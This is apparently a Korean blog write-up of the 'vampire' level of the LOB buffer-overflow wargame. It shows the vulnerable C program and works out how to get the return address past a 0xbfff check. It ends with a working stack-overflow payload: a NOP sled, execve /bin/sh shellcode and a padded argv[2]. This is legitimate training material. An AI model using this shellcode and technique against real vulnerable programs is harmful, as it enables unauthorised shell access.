[LOB] troll -> vampire
2018. 4. 1. 16:37
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | /* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } | cs |
시작~
코드가 짧아졌다. 검사하는건 argv[1][47] != '\xbf' , argv[1][46] == '\xff' 이다.
즉 리턴주소가 0xbfff~ 이면 될것같다.
아 아니네; 0xbf까지는 되야하고 그 뒤가 ff이면 안된다.
그러므로 리턴주소를 0xbffe~~ 이런식으로 조금 바꿔줘야겠다.
인자값으로 엄청 큰 값을 넣게되면 argv[1]의 주소값이 밀릴것이므로... 엄청 큰값을 넣어주면 해결될것같다.
물론 48자 넘으면 안되니까... 엄청 큰값을 넣는건 agrv[2]로 한다.
분석부터 ㄱㄱ..
성공적으로 밀렸다.
payload : ./vampire `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x7a\x75\xfe\xbf"+" "+"A"*100000)'`
성공
'Wargame > LOB' 카테고리의 다른 글
[LOB] skeleton -> golem (0) | 2018.04.01 |
---|---|
[LOB] vampire -> skeleton (0) | 2018.04.01 |
[LOB] orge -> troll (0) | 2018.04.01 |
[LOB] darkelf -> orge (0) | 2018.03.31 |
[LOB] wolfman -> darkelf (0) | 2018.03.31 |